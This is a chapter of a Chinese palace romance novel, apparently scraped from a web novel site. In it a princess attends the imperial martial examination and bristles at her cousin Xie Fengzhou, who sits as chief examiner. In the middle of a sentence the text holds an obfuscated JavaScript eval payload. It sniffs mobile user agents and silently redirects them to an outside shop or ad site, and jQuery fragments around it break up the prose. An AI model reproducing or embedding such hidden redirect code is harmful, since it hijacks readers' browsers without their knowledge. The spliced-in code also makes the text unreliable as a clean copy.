24. 24-武举

作品:《悔婚清冷世子后

    武举大比自辰时开始,在大明宫西苑的演武场上举行。


    太子尚未派人前来,沁澜便自行去了东宫。


    看见妹妹起得这样早,太子有些惊讶,转念想到之后会遇见的人,又自觉明白了她的心思,浮现出了然之色,传仪仗前往演武场。


    场上旌旗猎猎,立柱巍峨,场外禁军值守,阵势威严。


    太子仪仗到达时,观武楼上已经站了几名官员。


    沁澜跟随兄长下轿,入楼上至二层,略略往内一扫,步伐骤然一顿。


    “小妹?”太子疑惑地询问,“怎么了?”


    沁澜没有回答,透过黄梨木雕花罩,盯着里面的一人看。


    那人身着一袭暗红色的麒麟劲装,腰扣白玉带,斜佩素光刀。


    虽只是静静伫立,却如渊渟岳峙,威赫凛然,使人望而生畏。


    轩昂的楼阁、飘扬的旌旗、肃穆的禁卫,都被他压了下去。


    即使只是一道背影,也分外英姿飒爽、丰神轩举。


    沁澜忍不住看呆了一瞬。


    然后就是不满,对那人的不满,对自己的不满。


    “他——他怎么在这里?!”她压低声音,不可置信地询问太子。


    太子含笑道:“你表哥既被授了羽林上将,自然需要监考武举大比。小妹,你不正是因为这一点,才专门过来寻他的吗?”


    沁澜震惊不已。


    她什么时候为着谢逢舟过来了?更不知道他会在场监考!


    如果她知道,她从一开始就不会——就算她来观看武举大比,也不会簪着嵌有玉凝珠的珠钗!


    现在可好,她前脚才对他表示了不喜,后脚就巴巴地用上了他送的珠子,还是明晃晃地戴在发间,生怕他看不见。


    他会怎么想?会不会觉得她说得漂亮,实则心里难以割舍,放不下他?


    沁澜僵硬地站立在隔断外,直欲转身离开。


    但是不行,她不能任性,她是为了寻找栋梁之材来的,不能因为不想面对某个人,就打退堂鼓。


    再说了,不过是枚珠钗,她还奈何不得吗?


    沁澜抬手摸上发间,取下嵌珠累金丝银杏钗,拢在袖间,决定等回去后便弃置,永不佩戴。


    太子惊讶地看着她的举动:“小妹?你这是?”


    沁澜不想解释,也不好解释。


    她终于明白,为什么她提出想要观看武举大比时,大哥在初时的态度是拒绝的,后来又改口同意了,还笑得那么意味深长。


    原来是误会了她的心思,以为她想见谢逢舟,于是又一次热心地充当了月老……


    她是不是还要感谢大哥的这份热心?如若不然,她今日就不能无法来到演武场,观看比试了?


    沁澜感到又好气,又好笑。


    她想要明确、严肃、认真地告诉兄长,她是真的真的不喜欢谢逢舟、不在乎谢逢舟了,请大哥不要再误会她的心思。


    只是他二人虽处于花罩隔断外面,与里面的官员尚有一段距离,但难保不会被他们听见对话,尤其是一向机敏的谢逢舟。


    她在麟德殿上的拒婚,已经惹出了一回不大不小的风波,若再当着朝廷官员的面谈论男女之事,恐怕就连母后也会责备她不成体统了。


    她只能忍耐着情绪,轻声细气道:“大哥误会了,妹妹只是单纯想来观看比试。”


    太子没有放在心上,以为她是羞于承认,露出一个包容的笑,道:“好,大哥知道了。”


    沁澜还欲再言:“我真的——”


    但太子已经迈出步伐,她也只好咽下说辞,跟着兄长转过屏风,与众人见礼。


    全程,她都挂着端庄得体的微笑,敛着眸光,不落在某一个人的身上。


    只是她可以不看,却不能不听。


    羽林上将又为监考官员之首,她不得不听着那道熟悉的声线响起,朝他们见礼,又向兄长陈述今日安排,在心里祈祷对话赶紧结束。


    终于,楼下传来銮舆驾临的唱喏。众人结束交谈,纷纷行礼。


    沁澜亦敛衽福身。


    靖德帝笑着扶女儿起身,免了众人的礼。


    “宁儿果真来了。听你大哥说起时,父皇还很惊讶,以为你大哥弄错了,没想到真是你想要来看比试。”他笑呵呵地扫过旁边人一眼。


    “有你陪着,父皇今日的监考想必不会无聊了。”


    沁澜注意到了父皇的一瞥。


    不用说,她的父皇也和兄长一样,以为她是冲着谢逢舟来的,但她已经不准备解释了。


    经历赐婚一事,父皇应该不会再当着众人的面,调侃她和谢逢舟的关系了,误会就误会吧,只要不想着把他们两个凑做一对就好。


    她甜甜一笑,颊边梨涡漾出:“这是儿臣的荣幸。”


    换来靖德帝的舒畅朗笑。


    众人依次入座。


    宫人得了靖德帝的吩咐,在御案右侧加设一席,供嘉淑公主落座,太子席案置于御案左侧。


    本朝以左为尊,依礼,该由谢逢舟坐在左侧下首,也就是太子旁边。


    靖德帝却指了指沁澜身旁的席案,道:“逢舟,你过来坐这里,和朕说话近些。”


    但明眼人都看得出来,陛下真正想拉近的,是益王世子和嘉淑公主的距离。


    太子的嘴角浮现出一缕乐见其成的笑意。


    在场几个官员交换了隐晦的眼色,识趣地没有多言,落座剩余席位。


    谢逢舟神色如常地应是入座,仿佛听不出陛下的言下之意,也瞧不见陛下身旁的嘉淑公主。


    沁澜同样当他不存在。


    她在心中忿忿暗想,他摆什么谱,以为她稀罕边上坐着他吗?如果可以,她巴不得离他十万八千里远。


    随着内侍唱喏,皋鼓徐徐擂响,武举大比正式开始。


    比试分骑射、技勇、兵略三项,骑射与技勇在校场举行,兵略则进入内殿答题。


    其中,骑射又分马射、步射和马上枪术。考生按照会试取得的名次入场,在观武楼上一众监考官的注视下,逐一进行考校。


    第一个入场的是一名年轻男子,箭法十分不俗,骑着马在场内奔驰,连射十箭,有九箭命中靶心,剩余一箭也只偏了一点,差点就中了。


    之后的步射、枪术同样成绩斐然,看得靖德帝抚掌笑赞:“好!”


    太子含笑评价:“此人若是在马射的第三箭没有偏,枪术的最后一枪不曾差了力道,就是板上钉钉的第一了。”


    靖德帝道:“枪术所耗体力不小,最后一枪无法力贯扎甲,在情理之中。不过马射的第三箭怎么会射偏呢?不应该啊。”


    下首的官员低声讨论片刻,其中一人道:“许是射箭的时


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065381|193724||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    机晚了一步。”


    靖德帝想了想,摇摇头:“不尽然。”


    谢逢舟道:“他的马跑偏了,没有及时回正,才会方向不准。”


    “嗯,言之有理。”靖德帝捻着须颔首,“还是逢舟的眼睛尖。”


    官员们亦露出恍然之色,连连赞同着点头。


    沁澜看在眼里,心里暗生不屑,觉得这些人都是应声虫,连这么简单的缘故都看不出来,还当什么监考官。


    怪不得谢逢舟如此受父皇的看重,原来不是他太卓越,而是别的人太愚蠢,她此行来观看武举大比、挖掘栋梁之材的决定是对的。


    “宁儿。”沁澜正在腹诽,忽闻父皇点了她的名,询问她,“在想什么,这么出神?可是对那考生的箭法有不同的见解?”


    她猝不及防,连忙回过神,思忖着道:“回父皇的话,儿臣、儿臣只是觉得,那个人的箭不过射偏了一点——”


    “若果真是因为马跑偏了,以马儿正在奔驰的速度来看,那箭应当偏得厉害才对,怎么会只有毫厘之差?”


    “的确。”靖德帝煞有介事地点头,“正所谓失之毫厘,差之千里。”


    “逢舟,”他笑着点了另外一个人的名,“你和宁儿解释解释,为什么那人的箭只偏了一点?”


    谢逢舟道:“马在快跑时,四蹄会有短暂的腾空。抓住这个间隙,即可迅速回稳身形。此人的骑术箭术俱佳,做到不是难事。”


    他回答得平稳流利,仿佛不曾经过思考。


    沁澜抿唇,看来这是一种常识,是她少见多怪了。


    本来这也没什么,她自幼体弱,不曾接触过骑马射箭,不清楚这些门道在情理之中。


    只是父皇让谢逢舟回答的态度,实在令她感到别扭。


    好像她是刻意这么问的,等着对方给她回答……明明她完全没有这个意思。


    有谢逢舟在的场合,长辈们似乎总是容易误会她的言行,她是不是该少开点口?


    沁澜有心想不搭理谢逢舟,把他的话撂在那里,让他一个人尴尬。


    但这是她自己先问的问题,又是父皇点了他的名回答,周围还有其余官员,她不好真的晾着他。


    她只能努力挑他话中的刺,道:“既然如此,这人应该全部射中才对,怎么却射偏了?”


    谢逢舟微微敛眸,没有做声。


    尴尬的人顿时成了沁澜。


    尴尬过后,就是羞恼。


    她都没有下他的脸面,他竟然敢无视她的问题?真是——真是狂妄!目中无人!


    等武举大比结束,她一定要向父皇好好告上一状!


    “世子为何不回答本宫的话?”她冷硬着声线,竭力克制着不满,“是因为回答不上来吗?”


    太子轻咳一声:“严格来说,这人的确全部射中了,只是第三箭稍有偏差,不曾正中红心,但也中了九环,成绩称得上优异。”


    靖德帝笑道:“此人的骑术箭术虽好,但也及不上你表哥。如果是你表哥下场,父皇相信他能百发百中。”


    “如此自吹自擂之言,你表哥当然不好回答。逢舟你说,是也不是?”


    谢逢舟道:“陛下谬赞,臣不敢当。”


    沁澜:“……”


    她果然不该开口!


    接下来,她不会再说半句话,她就不信还能再出状况!